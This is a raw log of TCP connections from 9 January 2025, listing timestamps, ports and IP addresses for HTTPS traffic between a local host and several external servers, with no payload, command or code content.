Jan 9, 2025 13:19:29.391401052 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.391411066 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.398545980 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.398818016 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.398825884 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.399580956 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.399682999 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.399691105 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.402570009 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.402653933 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.402997971 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.403112888 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.403170109 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.410706043 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.410751104 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.410778999 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.410789013 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.410836935 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.418060064 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.418112040 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.418134928 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.418139935 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.418169975 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.425494909 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.425594091 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.425600052 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.434799910 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.434906006 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.434919119 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.438851118 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.439137936 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.439201117 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.440463066 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.440789938 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.440942049 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.440954924 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.440998077 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.446093082 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.446161985 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.446170092 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.446177006 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.446209908 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.446213007 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.446264029 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.446439981 CET	49844	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:29.446450949 CET	443	49844	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:29.454386950 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.454401970 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.486522913 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.504884958 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.519253016 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.519360065 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.519417048 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.530946970 CET	49851	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.530973911 CET	443	49851	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.531759977 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.531780958 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.531846046 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.533324003 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.533334017 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.558507919 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.559144020 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.559186935 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.559495926 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.561163902 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.561296940 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.562833071 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.603328943 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.641560078 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.641799927 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.641810894 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.641830921 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.641900063 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.645474911 CET	49855	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.645489931 CET	443	49855	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.648426056 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.648510933 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.648622990 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.649350882 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:29.649389982 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:29.654732943 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.654969931 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.654983997 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.655846119 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.655922890 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.656213045 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.656274080 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.656369925 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.656385899 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.681734085 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.681754112 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.681941986 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.681971073 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.682599068 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.682638884 CET	443	49852	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.682703018 CET	49852	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.682993889 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.683015108 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.683088064 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.683506966 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.683520079 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.694984913 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.695354939 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.695384026 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.695687056 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.696002007 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.696058989 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.696125984 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.709362984 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.733515978 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.733841896 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.733905077 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.735006094 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.735452890 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.735639095 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.735655069 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.739330053 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.756659985 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.756959915 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.756978989 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.759974957 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.760052919 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.760395050 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.760474920 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.760581970 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.760591030 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.767400026 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.767788887 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.767795086 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.768676996 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.768754005 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.769073963 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.769121885 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.769258022 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.769263029 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.779369116 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.788371086 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.801311016 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.801332951 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.801347017 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.801544905 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.801611900 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.801701069 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.802768946 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.802788973 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.802841902 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.802848101 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.802901030 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.804352045 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.810668945 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.810756922 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.810848951 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.811563969 CET	49853	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.811593056 CET	443	49853	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.820344925 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.825508118 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.825532913 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.825588942 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.825614929 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.825659990 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.825683117 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.825731993 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.825882912 CET	49854	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.825894117 CET	443	49854	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.827332020 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.827364922 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.827696085 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.827696085 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.827738047 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.849390984 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.849657059 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.849669933 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.850016117 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.850383997 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.850444078 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.850528955 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.884377003 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:29.891355038 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999138117 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999170065 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999178886 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999202967 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999260902 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:29.999337912 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:29.999391079 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.000106096 CET	49859	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.000121117 CET	443	49859	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.004976988 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.005213976 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.005224943 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.006078959 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.006150961 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.006488085 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.006541967 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.006712914 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.006721973 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.012605906 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.012624025 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.012639046 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.012723923 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.012739897 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.012790918 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.012983084 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.013030052 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.013048887 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.013070107 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.013711929 CET	49856	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.013721943 CET	443	49856	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.017206907 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.017227888 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.017288923 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.017868996 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.017874002 CET	49868	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.017885923 CET	443	49868	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.017901897 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.017954111 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.018156052 CET	49869	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.018177986 CET	443	49869	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.051878929 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.051892042 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.051960945 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.051980972 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.052201986 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.052248955 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.052644968 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.052659035 CET	443	49857	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.052666903 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.052702904 CET	49857	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.053035021 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.053055048 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.053121090 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.053438902 CET	49870	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.053452969 CET	443	49870	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.060379028 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.073261023 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073281050 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073288918 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073343992 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.073359013 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073880911 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.073888063 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073898077 CET	443	49858	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.073936939 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.073947906 CET	49858	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.076062918 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.076090097 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.076154947 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.076519966 CET	49871	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.076533079 CET	443	49871	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.099220991 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.099281073 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.099353075 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.099385977 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.099440098 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.099801064 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.099917889 CET	443	49860	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.099978924 CET	49860	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.100075960 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.100097895 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.100157022 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.100470066 CET	49872	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.100485086 CET	443	49872	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.113611937 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.113629103 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.113698959 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.113712072 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.113759995 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.114228964 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.114259005 CET	443	49861	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.114348888 CET	49861	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.114557028 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.114584923 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.114654064 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.115098000 CET	49873	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.115113974 CET	443	49873	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.239448071 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.239527941 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.239593983 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.239953995 CET	49863	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.239969015 CET	443	49863	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.241192102 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.241225958 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.241285086 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.241560936 CET	49874	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.241569996 CET	443	49874	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.251157045 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.251179934 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.251255035 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.251502037 CET	49875	443	192.168.2.16	93.158.134.119
Jan 9, 2025 13:19:30.251514912 CET	443	49875	93.158.134.119	192.168.2.16
Jan 9, 2025 13:19:30.253012896 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.253082037 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.253150940 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.253649950 CET	49862	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.253667116 CET	443	49862	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.255352974 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.255379915 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.255429983 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.255450964 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.255454063 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.255497932 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.255855083 CET	49876	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.255886078 CET	443	49876	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.255984068 CET	49877	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.256000042 CET	443	49877	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.323620081 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.323920965 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.323936939 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.324219942 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.324481964 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.324536085 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.324596882 CET	49864	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.367335081 CET	443	49864	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.380867004 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.381165028 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.381180048 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.381465912 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.381863117 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.381925106 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.382002115 CET	49865	443	192.168.2.16	87.250.250.119
Jan 9, 2025 13:19:30.423326969 CET	443	49865	87.250.250.119	192.168.2.16
Jan 9, 2025 13:19:30.484405041 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.484627008 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.484642029 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.485517979 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.485579967 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.485826969 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.485883951 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.486041069 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.486047983 CET	443	49866	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.535830975 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.536098957 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.536115885 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.536396980 CET	49866	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.537091970 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.537168980 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.537420034 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.537477016 CET	443	49867	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:30.537522078 CET	49867	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:30.579334021 CET	443	49867	89.46.108.67	192.168.2.16
